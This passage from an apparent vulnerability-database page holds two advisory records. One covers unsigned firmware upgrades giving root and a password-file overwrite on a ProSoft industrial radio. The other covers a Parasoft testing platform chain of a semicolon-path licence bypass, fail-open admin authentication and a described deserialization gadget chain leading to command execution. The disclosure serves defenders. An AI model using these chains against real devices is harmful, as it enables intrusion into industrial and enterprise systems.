"vulnId": "GCVE-1988-2026-0499"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0498
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the
ProSoft RLX-IFH24E, version v2.2.44, the industrial wireless radio from
ProSoft Technology, Inc. (United States). The appliance is a closed-source
embedded device and an OEM build of the MicroHard Systems IPx21 platform on
the MHX-910 board design: an Intel IXP425 XScale processor, ARM
big-endian, Linux 2.4.24-uc0, with static management pages under /usr/web
and 57 ARM big-endian CGI programs under /usr/lib/cgi-bin/ served by boa
over HTTP and boa_ssl over HTTPS.
The vendor is identified precisely here, by its legal name, its published
headquarters address and its support domain, because a different and
unrelated company trades under a similar name in another country, and this
research concerns the United States industrial radio vendor only. ProSoft
Technology's own legal pages give the entity as ProSoft Technology, Inc.,
9201 Camino Media, Suite 200, Bakersfield, CA 93311, USA, and its support
pages note that support addresses moved from the vendor domain to
belden.com, the domain of its parent company.
THE EVIDENTIAL BOUNDARY, BEFORE ANYTHING ELSE
This disclosure has an unusual evidentiary shape and it is stated up front
so that no reader over-reads it. No HTTP request was ever issued at this
product. No physical appliance was used at any point. The chain is therefore
not presented as an exploit run against a live device, and it is not one.
The finding has two halves. The installer half was measured: the firmware's
own /sbin/upgrade script and the other scripts in /sbin were executed
byte-for-byte unmodified inside an isolated chroot sandbox built on a copy
of the upgrade package's own root filesystem, with marker files and a
recorded executing uid as the evidence. The upload half was inferred: it
rests entirely on disassembly of the shipped ARM big-endian CGI and of the
shared platform UI library, and nothing in it was observed in motion. The
line between those two halves runs down the middle of the chain and is drawn
explicitly wherever it appears in the published analysis.
TYPE AND ROOT CAUSE
Code installed and executed without an integrity or authenticity check.
CWE-494 is the primary classification, with CWE-345 and CWE-347 co-equal
because the only check anywhere in the path is a non-cryptographic string
equality and no signature is verified at any point. CWE-434, CWE-73, CWE-250
and CWE-269 are contributing and are reported separately without raising any
metric. This is explicitly not CWE-78: no command string is injected at
either hop, so a command-injection remediation, filename input filtering or
shell escaping would not close the chain. The shared platform helper
SubProgram_Start at offset 0xbd5c splits its argument string on spaces with
strtok into at most eight tokens and then calls vfork and execvp directly,
so no shell is involved at all.
The system upgrade package RLX-IFH24E_v2244.pkg contains four artefacts
that together describe the whole path: the upload handler
usr/lib/cgi-bin/tool_reprogramming.cgi, the installer /sbin/upgrade that it
invokes as a root process, the factory account database /etc/passwd, and
the default configuration store /etc/db1.
The upload hop, recovered by disassembly. HandleSubmit at offset 0x8d1c
takes the file1 part of a multipart/form-data POST to
/cgi-bin/tool_reprogramming.cgi and performs this sequence, with the format
string sitting at rodata offset 0x2b1c:
cgiFormFileName("file1") -> the client's original filename
cgiFormTempFileName -> path of the temporary body file
sprintf(buf, "%s /upgrade/upgrade/%s", tempfile, origfilename)
SubProgram_Start("/bin/mv", buf) ; must succeed first
SubProgram_Start("/sbin/upgrade", origfilename)
The original client filename is used unmodified twice: once to build the
destination of the move, and once as the installer's only argument. That
makes the file extension, and therefore the branch the installer takes,
entirely the requester's choice. The handler applies no extension
whitelist, no digest comparison and no path canonicalisation.
The installer hop, executed and observed. /sbin/upgrade is a short POSIX
shell script that runs with the privileges of the CGI that invoked it,
which are root, and dispatches purely on ${FILE##*.}:
case "$EXT" in
passwd) cp /upgrade/upgrade/$FILE /etc/passwd
cp /upgrade/upgrade/$FILE /etc/passwd_original ;;
factory) cp /upgrade/upgrade/$FILE /etc/db1 ;;
pkg) gunzip -t /upgrade/upgrade/$FILE || exit 1
tar -xf /upgrade/upgrade/$FILE -C <staging>
[ "$DEVICE_PRODUCT_NAME" = "$PKG_LOCK_NAME" ] || refused
echo "Match image."
./pre
tar -xf extract/upgradepkg.tar -C /
./post
echo "Upgrade Successful"
reboot ;;
esac
The .pkg branch is the code-execution primitive. ./pre runs before anything
else is applied, so requester-authored code executes against the pristine
filesystem and can read the old state; tar -xf extract/upgradepkg.tar -C /
applies an inner archive whose entry names are constrained in no way, which
is an arbitrary rootfs write; ./post runs after the write, so the same
requester also sees the new state; and the branch ends in an unconditional
reboot, which makes the change persistent and destroys the runtime
evidence. The .passwd branch is a second, independent route to the same
privilege ceiling and it needs no execution at all: it copies the upload
over both the live account database and the backup copy, so the device's own
recovery path restores the modified database rather than the shipped one.
The .factory branch is the same primitive aimed at the configuration store.
The only validation the installer performs before executing package content
is a string equality, and both of its operands are available to whoever
supplies the package. The expected value DEVICE_PRODUCT_NAME is read from
the appliance's own platform identity file /etc/MHX_CONFIG, where this
firmware records PRODUCT_NAME=IPx21PROSOFT, a compile-time constant
recoverable by reading the shipped firmware once. The asserted value
PKG_LOCK_NAME is read from a file called lockfile inside the package being
installed. A package whose identity is validated against a value carried
inside that same package is not a source of assurance about that package.
The gunzip -t test beside it is a gzip stream-integrity check and proves
only that the file is well-formed. The check that exists was never meant to
answer the authenticity question, and strengthening it would change nothing
while the requester supplies both sides; what is missing from the path
between an HTTP request and root execution is any authenticity step at all.
WHAT WAS MEASURED
A crafted .pkg carrying the correct platform string was placed in the
staging directory, reproducing by hand the state the handler's /bin/mv step
would have produced, and the unmodified installer was invoked on it. It
printed "Match image." and then "Upgrade Successful" and exited 0. Four
independent effects were observed on the sandbox filesystem: the pre and
post scripts left markers proving both executed; the inner archive left a
marker at the root of the filesystem, proving the unconstrained extraction;
and a marker file written by the payload at runtime contained
PRE-RAN-AS-UID=0. That last value is the load-bearing line, because the
payload wrote it during execution rather than having it read from a
configuration file, so it is the executing identity and not an inference
about it. The recorded landing identity for this finding is uid=0(root).
A .passwd run was performed the same way. Both /etc/passwd and
/etc/passwd_original were replaced by the uploaded text: the digest
recorded for the pre-seeded database before the run no longer matched
afterwards, and the marker line was present in both copies. The marker line
grants a uid-0 account with /bin/sh, which on this product is the
difference between the factory admin shell /bin/txtUI and a general root
shell available at the next interactive login.
A negative control establishes that none of that came from the harness. A
structurally identical package, same outer tar layout, same metadata files,
same inner archive, same marker-writing scripts, with exactly one deliberate
difference, LOCK_NAME=WRONGPRODUCT, was refused with "This unit doesn't
support the image." and produced no markers anywhere. Three conclusions
follow: the markers are produced by the install path; the observed success
was conditional on that one string comparison, so the check is bypassable by
supplying the documented string rather than being irrelevant; and the
positive and negative runs are mutually exclusive, so the positive result
cannot be explained by a sandbox in which everything appears to succeed.
The run count is stated exactly because it is small. One positive .pkg run,
one positive .passwd run and one negative control run, in one sandbox on one
host, with each effect observed once. The runs were not repeated across
multiple sandbox builds and were never performed on hardware.
Four substitutions were made in the harness and none in the code under test.
The firmware is ARM big-endian and the sandbox host is not, so an x86
busybox build supplied /bin/sh, tar, gunzip, mv and cp; a stub replaced the
platform mhx utility; /etc/MHX_CONFIG was populated with the product
identity the firmware itself ships; and /etc/passwd was pre-seeded with
three factory-style entries so that a before and after comparison was
possible. Two lines appearing in the transcript, "logger: not found" and
"mhx: not found", are absent helpers in the sandbox PATH and are not product
behaviour; they are reproduced rather than suppressed, because concealing a
negative-looking line would misrepresent the run.
WHAT WAS NOT MEASURED
No physical appliance was used. No HTTP request was issued to the product
and the uploader hop was never executed; the staging file was placed by
hand. The web server was not executed and could not have been, because
/bin/boa lives in the device base flash and is not contained in the system
upgrade package, and it is boa that decides whether a client is allowed to
fork a CGI at all. Its access control could therefore be neither proved nor
disproved from the artefacts available. The CGI binaries and the firmware's
own ARM helper utilities were not executed for the architecture reason. The
reboot closing the .pkg branch did not happen, since the sandbox is a
directory tree with no init; the path leading to it was observed up to that
point. No privilege escalation is claimed, the chain starting from the
administrative identity the product's own account database already grants
uid 0. There is no claimed reach into the radio baseband image
RLX-IFH24E_v5089.mhx, which was identified but not exercised, and no
demonstrated impact on any attached control system, PLC or historian.
AUTHENTICATION
The finding is published as requiring administrative privilege. The package
documents its own account model:
admin: <DES-crypt hash>:0:0:admin:/:/bin/txtUI
upgrade: <same DES-crypt hash>:500:500:ftpupgrade:/upgrade/upgrade:/bin/sh
The admin account is uid 0, so the management stack is not
privilege-separated and an administrative login already holds the privilege
the sink needs. Its shell is /bin/txtUI, a restricted interactive interface
rather than a general shell, which is a user-interface constraint and not a
security boundary once arbitrary code execution is available. A second
account exists with uid 500, a working /bin/sh, the same password hash, and
a home directory that is precisely the upload staging path. The interface
also carries a password-change page and a configurable RADIUS mode. The
factory credential itself is not reproduced here; the published advisory
deliberately withholds that hash.
What the package establishes about th
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | ProSoft Technology RLX-IFH24E |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "ProSoft Technology RLX-IFH24E",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nProSoft RLX-IFH24E, version v2.2.44, the industrial wireless radio from\nProSoft Technology, Inc. (United States). The appliance is a closed-source\nembedded device and an OEM build of the MicroHard Systems IPx21 platform on\nthe MHX-910 board design: an Intel IXP425 XScale processor, ARM\nbig-endian, Linux 2.4.24-uc0, with static management pages under /usr/web\nand 57 ARM big-endian CGI programs under /usr/lib/cgi-bin/ served by boa\nover HTTP and boa_ssl over HTTPS.\n\nThe vendor is identified precisely here, by its legal name, its published\nheadquarters address and its support domain, because a different and\nunrelated company trades under a similar name in another country, and this\nresearch concerns the United States industrial radio vendor only. ProSoft\nTechnology\u0027s own legal pages give the entity as ProSoft Technology, Inc.,\n9201 Camino Media, Suite 200, Bakersfield, CA 93311, USA, and its support\npages note that support addresses moved from the vendor domain to\nbelden.com, the domain of its parent company.\n\nTHE EVIDENTIAL BOUNDARY, BEFORE ANYTHING ELSE\n\nThis disclosure has an unusual evidentiary shape and it is stated up front\nso that no reader over-reads it. No HTTP request was ever issued at this\nproduct. No physical appliance was used at any point. The chain is therefore\nnot presented as an exploit run against a live device, and it is not one.\n\nThe finding has two halves. The installer half was measured: the firmware\u0027s\nown /sbin/upgrade script and the other scripts in /sbin were executed\nbyte-for-byte unmodified inside an isolated chroot sandbox built on a copy\nof the upgrade package\u0027s own root filesystem, with marker files and a\nrecorded executing uid as the evidence. The upload half was inferred: it\nrests entirely on disassembly of the shipped ARM big-endian CGI and of the\nshared platform UI library, and nothing in it was observed in motion. The\nline between those two halves runs down the middle of the chain and is drawn\nexplicitly wherever it appears in the published analysis.\n\nTYPE AND ROOT CAUSE\n\nCode installed and executed without an integrity or authenticity check.\nCWE-494 is the primary classification, with CWE-345 and CWE-347 co-equal\nbecause the only check anywhere in the path is a non-cryptographic string\nequality and no signature is verified at any point. CWE-434, CWE-73, CWE-250\nand CWE-269 are contributing and are reported separately without raising any\nmetric. This is explicitly not CWE-78: no command string is injected at\neither hop, so a command-injection remediation, filename input filtering or\nshell escaping would not close the chain. The shared platform helper\nSubProgram_Start at offset 0xbd5c splits its argument string on spaces with\nstrtok into at most eight tokens and then calls vfork and execvp directly,\nso no shell is involved at all.\n\nThe system upgrade package RLX-IFH24E_v2244.pkg contains four artefacts\nthat together describe the whole path: the upload handler\nusr/lib/cgi-bin/tool_reprogramming.cgi, the installer /sbin/upgrade that it\ninvokes as a root process, the factory account database /etc/passwd, and\nthe default configuration store /etc/db1.\n\nThe upload hop, recovered by disassembly. HandleSubmit at offset 0x8d1c\ntakes the file1 part of a multipart/form-data POST to\n/cgi-bin/tool_reprogramming.cgi and performs this sequence, with the format\nstring sitting at rodata offset 0x2b1c:\n\n cgiFormFileName(\"file1\") -\u003e the client\u0027s original filename\n cgiFormTempFileName -\u003e path of the temporary body file\n sprintf(buf, \"%s /upgrade/upgrade/%s\", tempfile, origfilename)\n SubProgram_Start(\"/bin/mv\", buf) ; must succeed first\n SubProgram_Start(\"/sbin/upgrade\", origfilename)\n\nThe original client filename is used unmodified twice: once to build the\ndestination of the move, and once as the installer\u0027s only argument. That\nmakes the file extension, and therefore the branch the installer takes,\nentirely the requester\u0027s choice. The handler applies no extension\nwhitelist, no digest comparison and no path canonicalisation.\n\nThe installer hop, executed and observed. /sbin/upgrade is a short POSIX\nshell script that runs with the privileges of the CGI that invoked it,\nwhich are root, and dispatches purely on ${FILE##*.}:\n\n case \"$EXT\" in\n passwd) cp /upgrade/upgrade/$FILE /etc/passwd\n cp /upgrade/upgrade/$FILE /etc/passwd_original ;;\n factory) cp /upgrade/upgrade/$FILE /etc/db1 ;;\n pkg) gunzip -t /upgrade/upgrade/$FILE || exit 1\n tar -xf /upgrade/upgrade/$FILE -C \u003cstaging\u003e\n [ \"$DEVICE_PRODUCT_NAME\" = \"$PKG_LOCK_NAME\" ] || refused\n echo \"Match image.\"\n ./pre\n tar -xf extract/upgradepkg.tar -C /\n ./post\n echo \"Upgrade Successful\"\n reboot ;;\n esac\n\nThe .pkg branch is the code-execution primitive. ./pre runs before anything\nelse is applied, so requester-authored code executes against the pristine\nfilesystem and can read the old state; tar -xf extract/upgradepkg.tar -C /\napplies an inner archive whose entry names are constrained in no way, which\nis an arbitrary rootfs write; ./post runs after the write, so the same\nrequester also sees the new state; and the branch ends in an unconditional\nreboot, which makes the change persistent and destroys the runtime\nevidence. The .passwd branch is a second, independent route to the same\nprivilege ceiling and it needs no execution at all: it copies the upload\nover both the live account database and the backup copy, so the device\u0027s own\nrecovery path restores the modified database rather than the shipped one.\nThe .factory branch is the same primitive aimed at the configuration store.\n\nThe only validation the installer performs before executing package content\nis a string equality, and both of its operands are available to whoever\nsupplies the package. The expected value DEVICE_PRODUCT_NAME is read from\nthe appliance\u0027s own platform identity file /etc/MHX_CONFIG, where this\nfirmware records PRODUCT_NAME=IPx21PROSOFT, a compile-time constant\nrecoverable by reading the shipped firmware once. The asserted value\nPKG_LOCK_NAME is read from a file called lockfile inside the package being\ninstalled. A package whose identity is validated against a value carried\ninside that same package is not a source of assurance about that package.\nThe gunzip -t test beside it is a gzip stream-integrity check and proves\nonly that the file is well-formed. The check that exists was never meant to\nanswer the authenticity question, and strengthening it would change nothing\nwhile the requester supplies both sides; what is missing from the path\nbetween an HTTP request and root execution is any authenticity step at all.\n\nWHAT WAS MEASURED\n\nA crafted .pkg carrying the correct platform string was placed in the\nstaging directory, reproducing by hand the state the handler\u0027s /bin/mv step\nwould have produced, and the unmodified installer was invoked on it. It\nprinted \"Match image.\" and then \"Upgrade Successful\" and exited 0. Four\nindependent effects were observed on the sandbox filesystem: the pre and\npost scripts left markers proving both executed; the inner archive left a\nmarker at the root of the filesystem, proving the unconstrained extraction;\nand a marker file written by the payload at runtime contained\nPRE-RAN-AS-UID=0. That last value is the load-bearing line, because the\npayload wrote it during execution rather than having it read from a\nconfiguration file, so it is the executing identity and not an inference\nabout it. The recorded landing identity for this finding is uid=0(root).\n\nA .passwd run was performed the same way. Both /etc/passwd and\n/etc/passwd_original were replaced by the uploaded text: the digest\nrecorded for the pre-seeded database before the run no longer matched\nafterwards, and the marker line was present in both copies. The marker line\ngrants a uid-0 account with /bin/sh, which on this product is the\ndifference between the factory admin shell /bin/txtUI and a general root\nshell available at the next interactive login.\n\nA negative control establishes that none of that came from the harness. A\nstructurally identical package, same outer tar layout, same metadata files,\nsame inner archive, same marker-writing scripts, with exactly one deliberate\ndifference, LOCK_NAME=WRONGPRODUCT, was refused with \"This unit doesn\u0027t\nsupport the image.\" and produced no markers anywhere. Three conclusions\nfollow: the markers are produced by the install path; the observed success\nwas conditional on that one string comparison, so the check is bypassable by\nsupplying the documented string rather than being irrelevant; and the\npositive and negative runs are mutually exclusive, so the positive result\ncannot be explained by a sandbox in which everything appears to succeed.\n\nThe run count is stated exactly because it is small. One positive .pkg run,\none positive .passwd run and one negative control run, in one sandbox on one\nhost, with each effect observed once. The runs were not repeated across\nmultiple sandbox builds and were never performed on hardware.\n\nFour substitutions were made in the harness and none in the code under test.\nThe firmware is ARM big-endian and the sandbox host is not, so an x86\nbusybox build supplied /bin/sh, tar, gunzip, mv and cp; a stub replaced the\nplatform mhx utility; /etc/MHX_CONFIG was populated with the product\nidentity the firmware itself ships; and /etc/passwd was pre-seeded with\nthree factory-style entries so that a before and after comparison was\npossible. Two lines appearing in the transcript, \"logger: not found\" and\n\"mhx: not found\", are absent helpers in the sandbox PATH and are not product\nbehaviour; they are reproduced rather than suppressed, because concealing a\nnegative-looking line would misrepresent the run.\n\nWHAT WAS NOT MEASURED\n\nNo physical appliance was used. No HTTP request was issued to the product\nand the uploader hop was never executed; the staging file was placed by\nhand. The web server was not executed and could not have been, because\n/bin/boa lives in the device base flash and is not contained in the system\nupgrade package, and it is boa that decides whether a client is allowed to\nfork a CGI at all. Its access control could therefore be neither proved nor\ndisproved from the artefacts available. The CGI binaries and the firmware\u0027s\nown ARM helper utilities were not executed for the architecture reason. The\nreboot closing the .pkg branch did not happen, since the sandbox is a\ndirectory tree with no init; the path leading to it was observed up to that\npoint. No privilege escalation is claimed, the chain starting from the\nadministrative identity the product\u0027s own account database already grants\nuid 0. There is no claimed reach into the radio baseband image\nRLX-IFH24E_v5089.mhx, which was identified but not exercised, and no\ndemonstrated impact on any attached control system, PLC or historian.\n\nAUTHENTICATION\n\nThe finding is published as requiring administrative privilege. The package\ndocuments its own account model:\n\n admin: \u003cDES-crypt hash\u003e:0:0:admin:/:/bin/txtUI\n upgrade: \u003csame DES-crypt hash\u003e:500:500:ftpupgrade:/upgrade/upgrade:/bin/sh\n\nThe admin account is uid 0, so the management stack is not\nprivilege-separated and an administrative login already holds the privilege\nthe sink needs. Its shell is /bin/txtUI, a restricted interactive interface\nrather than a general shell, which is a user-interface constraint and not a\nsecurity boundary once arbitrary code execution is available. A second\naccount exists with uid 500, a working /bin/sh, the same password hash, and\na home directory that is precisely the upload staging path. The interface\nalso carries a password-change page and a configurable RADIUS mode. The\nfactory credential itself is not reproduced here; the published advisory\ndeliberately withholds that hash.\n\nWhat the package establishes about th"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-269",
"description": "CWE-269",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-345",
"description": "CWE-345",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-347",
"description": "CWE-347",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-434",
"description": "CWE-434",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-494",
"description": "CWE-494",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-73",
"description": "CWE-73",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/32"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/32"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/prosoft-rlx-ifh24e-unsigned-upgrade-package-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/32"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0498",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/32",
"automated": true,
"contentSha256": "3acb301f966d5f251d5745d10e0d57410089cad24deea1811b7cf44ad01e0857",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/32",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:31:17Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0498"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0497
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Parasoft
Continuous Testing Platform 10.7.5-SNAPSHOT, the closed-source commercial
continuous-testing, service-virtualisation and environment-management product
from Parasoft, a United States software-testing vendor headquartered in
Monrovia, California. The affected component is the em web application inside
the vendor's own container image, running on Tomcat 10.1.57 with Jasper and
Java 17. Three first-party defects compose into an unauthenticated
command-execution chain that needs two HTTP requests and nothing else: an
unfiltered ObjectInputStream over an uploaded backup archive, a licensing
filter that decides whether to run at all by testing the raw un-normalised
request URI, and a remember-me authentication service that hands an anonymous
request an authenticated administrator principal when no external security
provider has been configured.
Type and root cause. Unfiltered deserialization of attacker-controlled data,
CWE-502 primary, composed with an interpretation conflict in the licensing
filter, CWE-436 primary and co-equal with CWE-863 as its authorisation
consequence, and enabled by a fail-open authentication branch, CWE-287. The
honest count is three first-party defects rather than one, and that matters to
whoever fixes it, because the defect owners, the fixes and the independent
value to an attacker all differ.
The licensing defect. EMLicenseFilter is 175 lines and behaves as an
authorisation boundary, being what stops an unlicensed instance from serving
its administrative API. Its decision procedure reads the request URI raw at
line 165 and tests it at line 166 against a chain of exemption clauses
including endsWith("about"), endsWith("welcome"), endsWith("forgot"),
endsWith("notlicensed"), contains("/resources/") and contains("/images/"),
none of which is anchored by a separator or a segment boundary. A branch at
lines 167 to 171 additionally reassigns the whole exemption set rather than
accumulating into it when the request accepts JSON. The test has exactly one
consumer in the class: shouldNotFilter() at line 47 calling isLicenseRequired()
at line 48. So a matching URI does not weaken one decision, it suppresses the
entire doFilterInternal() body, including the /tdm/api/v guard at line 99 and
the unlicensed-instance redirect to /em/license at line 118. Because a servlet
container strips semicolon-delimited path parameters from each segment before
it performs servlet mapping, the filter and the router disagree about the
identity of one request: a target of /em/database/restore;welcome is exempted
by the filter and still routed to the restore handler by the container. That
disagreement is the textbook shape of CWE-436. Measured read-only on a live
instance, with the control that carries the argument:
GET /em/database/currentConfig
-> 302, Location: /em/license, zero-length body
GET /em/database/currentConfig;welcome
-> 200, 204 bytes, application/json;charset=utf-8, disclosing the
schema version, the HyperSQL type, the database user and the
jdbc:hsqldb:file URL of the platform's own database files
GET /em/database/currentConfig;about
-> the same 200/204, so this is the clause list and not one word
GET /em/database/currentConfigwelcome (no semicolon)
-> 404, 792 bytes
GET /em/tdm/api/v2/servers;welcome
-> 200, 160 bytes, a well-formed serversResponse XML document with an
empty servers element, so Jersey routed and ran the resource method
the same pair over TLS
-> 200/204 with the bypass and 302/0 without it, so the HTTPS
listener is an equivalent surface and not a redirect shell
The no-semicolon control is the load-bearing row: the only variable that
changed is the presence of a semicolon path parameter, and the outcome flipped
from a licensing redirect to a 200 carrying live database configuration to a
caller who had never authenticated. The bypass is not a skeleton key, and that
was measured rather than assumed: handlers performing their own licensing
check are unaffected, the coverage-agent endpoints reading the license manager
directly and continuing to return 403 with a 90-byte unlicensed body across all
seventeen of their mappings even with the bypass applied, while a server-resource
feature gate kept returning 403 with a 94-byte body. What the bypass unlocks is
everything whose enforcement lives only in the filter, which includes the whole
/em/database subtree and the entire /em/tdm/api/v version tree. One related
first-party defect sits in the same filter and matters for detection: line 113
flushes the response output stream and line 115 then calls setStatus(403), so
licence refusals surface as HTTP 200 with a JSON body carrying status 403,
which makes them invisible to any status-based monitoring.
The deserialization defect. The restore path lands in
com.parasoft.ctp.core.database.backup.AbstractDatabaseBackup, a class of 518
lines and 19,851 bytes:
:14 import java.io.ObjectInputStream;
:111 ObjectInputStream ois = new ObjectInputStream(in);
:112 int numTables = ois.readInt();
:117 TableMetadata tableMetadata = (TableMetadata) ois.readObject();
:126 Connection connection = this.provider.getConnection();
where in is the database.ser member of an uploaded zip. Three properties are
decisive. The cast is applied to whatever readObject() returned, so it
constrains nothing: the gadget executes during the call and the
ClassCastException is thrown afterwards. getConnection() sits nine lines
lower, so no database needs to exist, to be reachable or to accept the supplied
parameters for the payload to have already run, which makes that ordering the
cheapest structural fix available and one needing no understanding of gadget
chains. And the int read at line 112 is consumed before the object read. The
caller is the web-layer controller EMDatabaseController, 1359 lines, whose
restore handler at line 707 or 708 takes a StandardMultipartHttpServletRequest
and hard-compares zip member names against the literals "version.txt" at line
725 and "database.ser" at line 733, a shape check that says nothing about
content. The absence of any filter is not an inference from one search: in the
whole shipped product ObjectInputStream appears in 68 files with 149 occurrences
in the core tree and in 3 files in the web layer, readObject appears in 81
files, and ObjectInputFilter appears in 0 files, jdk.serialFilter in 0 files and
serialFilter in 0 files. Three zeros, across a class name, a system property and
its short alias, in an image unpacked and searched as artefacts against a
positive control of 81 files containing readObject, is a strong result: the
product has no deserialization filtering anywhere in its construction. Two
sibling readObject() calls on the same class of untrusted stream sit in the same
file at lines 323 and 435, in a row-draining routine and a row-binding routine;
they were read from source and not detonated, and they are named so a fix covers
the class rather than the call site.
The fail-open authentication gate. The application has three Spring Security
filter chains and all three register the same remember-me service,
EMRememberMeServices, 483 lines, with the security configuration in
CTPSecurityWebConfig, 318 lines. Neither hop of the chain is an unprotected
route: /database is explicitly matched to authenticated(), and the images
allow-list is /images/welcome/star rather than a doubled-asterisk glob over
/images, so a page written to images/<leaf>.jsp also needs an authenticated
subject at the security layer. Both hops sit behind the authentication
boundary. The finding is therefore described accurately as the product handing
an anonymous request an authenticated administrative principal:
// EMRememberMeServices.java:140-148, abridged
if (request.getHeader("Authorization") != null) {
return null; // :140-142 defer to credentials
}
pstsecClient = PSTSecServiceClient.getInstance(); // :146
if (pstsecClient == null) { // :148 the fail-open branch
return this.createAuthenticationToken("admin", "admin",
EmUserInfo.Role.ADMIN, request);
}
The token registers new SimpleGrantedAuthority("ROLE_ADMIN") and wraps it in a
Spring Security User whose authenticated flag is true, so the resulting
principal is a genuinely authenticated administrator rather than the container's
anonymous principal, and the authenticated() matcher that CTPSecurityWebConfig
line 283 demands for /database is satisfied by it. The condition guarding all of
this is the absence of the external security-provider client, which in the
untouched vendor image, with no setup step performed, does not exist. Measured
with its control in the same run: an anonymous GET of the users/current resource
under the /em/api/v3 context returned 200 with the 39-byte body
{"id":1,"login":"admin","role":"ADMIN"}, and the identical request carrying
Authorization: Bearer garbage returned 401 with an empty body. The control shows
the fail-open branch is specific to requests presenting no credential at all, so
the behaviour is not "authentication is off" but "an absent credential is more
trusted than a wrong one". CSRF is separately not an obstacle, because
CsrfSecurityRequestMatcher is a 28-line class whose anchored exemption alternation
at line 19 includes /database, with GET, HEAD, TRACE and OPTIONS exempt by method
at line 22.
The write primitive and the execution sink. Reconstituting the stream's first
object, a java.util.HashSet, forces a hashCode() on its single element, a
TiedMapEntry wrapping a LazyMap whose transformer factory is a
ConstantTransformer holding attacker bytes and whose decorated map is an
aspectjweaver SimpleCache$StoreableCachingMap whose folder field is an absolute
path:
readObject() -> HashSet.readObject -> HashMap.putVal -> key.hashCode()
-> commons-collections4 TiedMapEntry.hashCode() -> getValue()
-> commons-collections4 LazyMap.get(key) // transform the key
-> map.put(key, value) // invokeinterface, virtual dispatch
-> aspectjweaver SimpleCache$StoreableCachingMap.put(key, byte[])
-> writeToPath(folder + File.separator + key, bytes)
That class was read at the bytecode level to establish four facts, all of which
are what make the write arbitrary. The folder field is declared private final
String, is not transient, and the class declares no readObject of its own, so it
is populated by the inherited HashMap.readObject path through defaultReadObject,
which assigns whatever the stream carries, and both writeToPath and the store
routine read it with an explicit getfield so the compiler has not inlined it.
writeToPath performs getfield folder, builds a StringBuilder, concatenates a
separator and the key, and stores the result, which is the entire function: there
is no forced extension appended to the key, and the value passes a checkcast to a
byte array, so the content is any bytes at all. Validation is absent in every
form, with zero occurrences of File.getName(), Path.normalize(),
getCanonicalPath(), startsWith(), a regular expression or a length truncation in
that write path; keys carrying slashes or relative traversals both work, and
because concatenation with an empty folder yields a leading double separator,
which POSIX treats as a valid absolute path, an absolute destination is reachable
too. And it does not fire on deserialization alone, which is the subtle part:
HashMap.readObject reconstitutes entries through putVal, package-private, final
and not overridden, so it bypasses the overridden put that contains the write,
which is why the TiedMapEntry to LazyMap to Map.put prefix is needed to force a
virtual dispatch. The only content constraint found anywhere is that the bytes
must not be exactly the four-byte sentinel IDEM. In the publish
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Parasoft Continuous Testing |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Parasoft Continuous Testing",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
